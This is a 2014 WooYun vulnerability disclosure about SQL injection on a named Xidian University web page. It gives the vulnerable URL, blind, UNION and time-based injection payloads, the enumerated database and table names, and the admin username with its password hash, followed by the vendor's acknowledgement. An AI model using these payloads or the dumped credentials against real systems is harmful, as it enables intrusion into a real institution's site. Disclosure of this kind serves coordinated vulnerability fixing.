漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-073693
漏洞标题：陕西西安某电子科技大学多处SQL注射
相关厂商：CCERT教育网应急响应组
漏洞作者： T0sk
提交时间：2014-08-26 11:03
修复时间：2014-11-24 11:04
公开时间：2014-11-24 11:04
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-08-26： 细节已通知厂商并且等待厂商处理中
2014-08-26： 厂商已经确认，细节仅向厂商公开
2014-08-29： 细节向第三方安全合作伙伴开放
2014-10-20： 细节向核心白帽子及相关领域专家公开
2014-10-30： 细节向普通白帽子公开
2014-11-09： 细节向实习白帽子公开
2014-11-24： 细节向公众公开
简要描述：
陕西西安某电子科技大学多处SQL注射 数据泄漏
详细说明：
注入:http://xiaoli.xidian.edu.cn/inc/js.php?id=1
漏洞证明：
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 6347=6347
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: id=1 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a7a63733a,0x5
37547644e647753566c,0x3a6b79773a)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(5)
available databases [2]:
[*] information_schema
[*] xd_xiaoli
current database: 'xd_xiaoli'
current user: 'xd_xiaoli_usr@localhost'
Database: xd_xiaoli
[13 tables]
+-------------+
| xd_admin |
| xd_bq |
| xd_buy |
| xd_category |
| xd_discuss |
| xd_diy |
| xd_guest |
| xd_jss |
| xd_news |
| xd_olink |
| xd_plus |
| xd_system |
| xd_users |
+-------------+
Database: xd_xiaoli
Table: xd_admin
[3 columns]
+----------------+-------------+
| Column | Type |
+----------------+-------------+
| admin_name | varchar(50) |
| admin_password | varchar(50) |
| id | int(11) |
+----------------+-------------+
Database: xd_xiaoli
Table: xd_admin
[1 entry]
+------------+
| admin_name |
+------------+
| admin |
+------------+
Database: xd_xiaoli
Table: xd_admin
[1 entry]
+----------------------------------+
| admin_password |
+----------------------------------+
| 21232f297a57a5a743894a0e4a801fc3 |
+----------------------------------+
你懂
修复方案：
过滤！
版权声明：转载请注明来源 T0sk@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：6
确认时间：2014-08-26 15:23
厂商回复：
通知处理中
最新状态：
暂无